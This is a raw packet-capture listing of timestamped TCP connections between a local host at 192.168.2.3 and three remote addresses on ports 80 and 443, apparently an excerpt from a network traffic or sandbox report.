Oct 29, 2021 14:11:13.847963095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.848001957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.848393917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.848433018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.848737955 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.848917007 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.849731922 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.850030899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850070953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850075960 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.850106955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850145102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850182056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850219965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850259066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850294113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.850725889 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.850743055 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.850815058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.851716995 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.851735115 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.852744102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.852783918 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.852798939 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.853725910 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.853738070 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.853791952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.853981972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854026079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854063034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854100943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854140043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854175091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854212046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854249954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854285955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854324102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854360104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854398012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854435921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854470968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854507923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854547024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854583979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854619980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854656935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854695082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854727983 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.854732990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854768991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854770899 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.854783058 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.854806900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854846001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854883909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854922056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854958057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.854995012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855032921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855068922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855107069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855144024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855180025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855217934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855256081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855293036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855330944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855382919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855422020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855460882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855496883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855535030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855571985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855609894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855648994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855684996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855722904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855760098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855778933 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.855793953 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.855796099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855834961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855871916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855923891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855962992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.855998039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856035948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856074095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856110096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856151104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856189013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856225014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856261969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856300116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856719017 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.856734991 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.856734991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856774092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856811047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856870890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856914043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856952906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.856987953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857024908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857063055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857100010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857229948 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857243061 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857319117 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857405901 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857426882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857435942 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857445002 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857503891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857510090 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857542992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857556105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857573032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857580900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857616901 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857618093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857619047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857628107 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857650042 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857656002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857659101 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857666016 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857692957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857702017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857732058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857760906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.857814074 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857831001 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857844114 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857930899 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.857933998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.857942104 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.857974052 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858058929 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858072996 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858120918 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.858158112 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858159065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858166933 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.858185053 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858226061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858280897 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858292103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858305931 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858473063 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.858475924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858527899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858546019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858561993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858580112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858597994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858613968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.858711004 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.858881950 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.859601021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.876209974 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876250029 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876329899 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876405001 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876449108 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876491070 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.876740932 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.876765966 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.877737045 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.878742933 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.879725933 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.886167049 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886212111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886241913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886271954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886302948 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886333942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886359930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886749029 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.886909008 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.886946917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.887702942 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.893317938 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893361092 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893445969 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893508911 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893558979 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893687963 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.893727064 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.894732952 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.895777941 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.896089077 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.898230076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.898283958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.898726940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.898789883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.898833990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.899713039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.907699108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907740116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907777071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907814026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907852888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907903910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907942057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.907979012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.908952951 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.912246943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912345886 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912384033 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912421942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912461042 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912497997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912535906 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912574053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912610054 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912647009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912683964 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912722111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912760019 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912796021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912833929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912899017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912936926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.912972927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.913009882 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.913047075 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.913084984 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.913125992 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.925093889 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.925292969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925334930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925374031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925410032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925695896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925735950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925792933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925834894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925873041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925910950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925950050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.925987959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926026106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926062107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926100016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926136971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926173925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926211119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926249027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926286936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926325083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926361084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926402092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926440001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926476002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926512957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926551104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926589012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926628113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926662922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926711082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926748037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.926784992 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.926825047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.926862001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.926899910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.926938057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.926974058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927011013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927048922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927083969 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927120924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927159071 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927196980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927232981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.927268028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927304983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927341938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927376986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927414894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927450895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927489042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927527905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927562952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927601099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927637100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927673101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927710056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927747011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927784920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927824020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927860022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927896976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927933931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.927968979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928005934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928044081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928081989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928119898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928155899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928193092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928230047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928266048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928303003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928339005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928375959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928414106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928450108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928487062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928524017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928560019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928596973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928632975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928670883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928709030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928745031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928782940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928819895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928895950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928947926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.928999901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.929050922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.939361095 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.939532042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939553976 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.939825058 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939847946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939853907 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939954996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939973116 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.939975023 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.942440987 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.944367886 CEST	50094	80	192.168.2.3	193.56.146.214
